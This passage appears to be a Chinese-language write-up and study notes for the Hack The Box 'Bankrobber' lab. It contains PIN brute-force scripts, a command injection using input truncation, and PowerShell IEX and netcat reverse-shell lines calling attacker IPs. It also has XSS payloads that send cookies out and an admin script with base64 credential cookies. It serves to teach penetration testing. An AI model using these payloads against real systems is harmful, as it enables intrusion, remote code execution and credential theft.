host = "127.0.0.1"
port = 910
#for x in range(9999, 0, -1):
for x in range(10000):
y = '{0:04}'.format(x)
tn = telnetlib.Telnet()
tn.open(host, port)
# until [$] appear, write data, most wait time 2s.
tn.read_until(b'[$] ', timeout=2)
# write data
tn.write(y.encode() + b"\n")
# read
s = tn.read_all().decode()
#s = tn.read_very_eager().decode()
if 'Access denied' not in s:
print(s+y)
break
tn.close()
#tn.write(b"exit\n")
找到正确的 pin 值 0021。
$ python tn.py
/home/kali/Documents/HTBox/Bankrobber/tn.py:1: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
import telnetlib
[$] PIN is correct, access granted!
--------------------------------------------------------------
Please enter the amount of e-coins you would like to transfer:
[$] .........
[!] You waited too long, disconnecting client....
0021
然后尝试命令注入漏洞:
$ nc -nv 127.0.0.1 910
(UNKNOWN) [127.0.0.1] 910 (?) open
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$] 0021
[$] PIN is correct, access granted!
--------------------------------------------------------------
Please enter the amount of e-coins you would like to transfer:
[$] $(whoami)
[$] Transfering $$(whoami) using our e-coin transfer application.
[$] Executing e-coin transfer tool: C:\Users\admin\Documents\transfer.exe
[$] Transaction in progress, you can safely disconnect...
输入 whoami 也没有回显,无法判断是否存在漏洞,还是通过请求本地 web server 的方式,与之前 Backdoorchecker 绕过方式相同:
asdsadasdqw||curl 'http://10.10.16.6/1'
但是输入该 payload,执行的程序不再是 C:\Users\admin\Documents\transfer.exe, 而是变成了如下内容。
[$] Executing e-coin transfer tool: 16.6/1'
猜测输入的内容太长,在程序中产生截断,截断后的内容被当作可执行程序,利用这一点成功执行命令,服务端收到请求。
本地不存在 curl.exe 所以使用 certutil。
asdsadasdqw||curl 'http://10.10.C:\Windows\System32\certutil.exe -f -urlcache http://10.10.16.6/1

服务端:

reverse shell
12345678901234567890123456890123C:\Windows\System32\cmd.exe powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.6/shell.ps1')
太长也不行,同时似乎导致服务崩溃了。

[$] Executing e-coin transfer tool: C:\Windows\System32\cmd.exe powershell IEX(New-Object Net.WebClient).DownloadString(‘http://10.1
cp shell.ps1 s
尝试不写 cmd 的绝对路径,成功反弹shell。
12345678901234567890123456890123cmd.exe /c powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.6/s')
使用 nc,下载到最短路径的目录中:
curl http://10.10.16.6/nc.exe -o \xampp\n.exe
成功提权
12345678901234567890123456890123C:\xampp\n.exe -e cmd 10.10.16.10 1234
问题
udf -> imper -> priv 是否可行 不可行,通过 udf 获得的 shell 也没有 imper 权限。
- 证明 SQL注入无法写入
Gebruikers 组用户只能读取和执行。
C:\xampp\htdocs\admin>icacls .
icacls .
. BANKROBBER\admin:(OI)(CI)(F)
BANKROBBER\admin:(I)(OI)(CI)(F)
NT AUTHORITY\Geverifieerde gebruikers:(I)(OI)(CI)(RX)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
INGEBOUWD\Administrators:(I)(OI)(CI)(F)
INGEBOUWD\Gebruikers:(I)(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
python socket 包,在 python 中交互运行有 Access denied,但是脚本中运行就没有这个结果。
scheduledtask
$t=get-scheduledtask -taskname 'XAMPP start on boot'
$t.principal
DisplayName :
GroupId :
Id : Author
LogonType : Password
RunLevel : Limited
UserId : Cortin
ProcessTokenSidType : Default
RequiredPrivilege :
PSComputerName :
other
使用 powershell Invoke-WebRequest 的别名缩小长度
iwr -Useb http://0x0A0A1006/s|IEX
- -Useb: UseBasicParsing
The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explore r’s first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
依然失败:
12345678901234567890123456890123C:\Windows\System32\cmd.exe /c powershell iwr -Useb http://10.10.16.6/s|IEX
12345678901234567890123456890123C:\Windows\System32\cmd.exe /c "powershell iwr -Useb http://10.10.16.6/s|IEX"
WP
记录看过的个人认为有价值的 Writeup
XSS payload
XSS payload 可以将多个 payload 一次提交。
<img src="10.10.16.6/test.jpg" /> <script src="http://10.10.16.6/test.js"></script>
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.16.6/?test='+document.cookie, true);
request.send()
下面的payload失败不能窃取cookie
<script src="http://10.10.16.6/test.js"></script>
- shell.js
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.16.6/shell';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);
other
function pwn() {
var img = document.createElement("img");
img.src = "http://10.10.14.19/xss?=" + document.cookie;
document.body.appendChild(img);
}
pwn();
Brute Force Python
0xdf:
sys.stdout.write(f"\rTrying: {i:04d}") 可以实时显示 pin 爆破进度
#!/usr/bin/env python3
import socket
import sys
for i in range(16,21,1):
sys.stdout.write(f"\rTrying: {i:04d}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 910))
s.recv(4096)
s.send(f"{i:04d}\n".encode())
resp = s.recv(4096)
if not b"Access denied" in resp:
print(f"\rFound pin: {i:04d}")
break
s.close()
自己写的脚本
最开始用 socket 库写的脚本运行时并不显示 Access denied。手动逐步执行却可以,当时不清除原因。
现在对比 0xdf 的脚本有了思路,整个流程需要接收两次数据。
如下代码,建立连接后的数据是第一次:
#!/usr/bin/env python
import socket
for x in range(1):
y = '{0:04}'.format(x)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',910))
s.sendall('{0:04}'.format(x).encode())
n = s.recv(1024).decode()
print(n)
s.close()
结果
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$]
而发送数据后接收的数据则是第二次
<SNIP>
s.sendall('{0:04}'.format(x).encode())
+ s.recv(1024).decode()
n = s.recv(1024).decode()
<SNIP>
这一行代码也可以添加到
sendall代码前。
结果:
[!] Access denied, disconnecting client....
所以脚本中最开始的脚本只接收了发送数据前的内容,但是在 python 中交互运行不存在这个问题。
此外写入的数据末尾需要添加换行符,否则即使 pin 值正确,结果依然是 Access denied。
s.send(f"{i:04d}\n".encode())
s.send(f"{i:04d}".encode() + b"\n")
y = '{0:04}'.format(x)
s.send(f"{y}\n".encode())
优化后的脚本
#!/usr/bin/env python
import socket
import sys
for x in range(20,23):
#sys.stdout.write(f"\rTrying: {x:>04d}")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',910))
input = s.recv(4096).decode()
s.send(f"{x:>04d}\n".encode())
resp = s.recv(4096).decode()
if not 'Access denied' in resp:
print(f'{input}pin:{x:>04d}\n{resp}')
break
s.close()
other
from pwn import *
for i in range(0,9999):
pin = str(i)
code = pin.zfill(4)
r = remote("localhost", 910)
r.recvuntil("[$] ")
r.sendline(code)
response = r.recvline()
r.close()
if b:"Access denied" not in response:
print(code)
break
scheduledtask
触发 XSS 的原因:
查看计划任务
schtasks /query
<SNIP>
Folder: \bankrobber
TaskName Next Run Time Status
======================================== ====================== ===============
Admin request 5/6/2024 4:38:05 AM Ready
bankapp N/A Ready
Kill hanging phantom 5/6/2024 4:36:50 AM Ready
Truncate comments 5/6/2024 4:36:14 AM Ready
XAMPP start on boot N/A Running
<SNIP>
schtasks /query /TN "bankrobber\Admin request" /V /FO list
Folder: bankrobber
HostName: BANKROBBER
TaskName: bankrobber\Admin request
Next Run Time: 5/6/2024 4:38:05 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 5/6/2024 4:34:56 AM
Last Result: 0
Author: DESKTOP-62OTOFV\admin
Task To Run: C:\Users\admin\Documents\phantomjs\bin\phantomjs.exe C:\Users\admin\Documents\phantomjs\bin\get.js
Start In: N/A
Comment: Simulate an admin request with PhantomJS
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: admin
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 5:06:05 PM
Start Date: 8/16/2019
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: 0 Hour(s), 4 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: 24 Hour(s), 0 Minute(s)
Repeat: Stop If Still Running: Disabled
查看行数
type C:\Users\admin\Documents\phantomjs\bin\get.js | find /c /v ""
16
- /V, 显示所有未包含指定字符串的行。
- /C, 仅显示包含字符串的行数。
type C:\Users\admin\Documents\phantomjs\bin\get.js
var page = require('webpage').create();
function newCookie(name,value){
phantom.addCookie({
'name' : name,
'value' : value,
'domain' : 'localhost'
});
}
newCookie('username','YWRtaW4%3D');
newCookie('password','SG9wZWxlc3Nyb21hbnRpYw%3D%3D');
newCookie('id','1');
page.open('http://localhost/admin/index.php',function(){
phantom.exit();
});
设置 admin 用户 cookie,每4分钟运行一次,加载管理页面。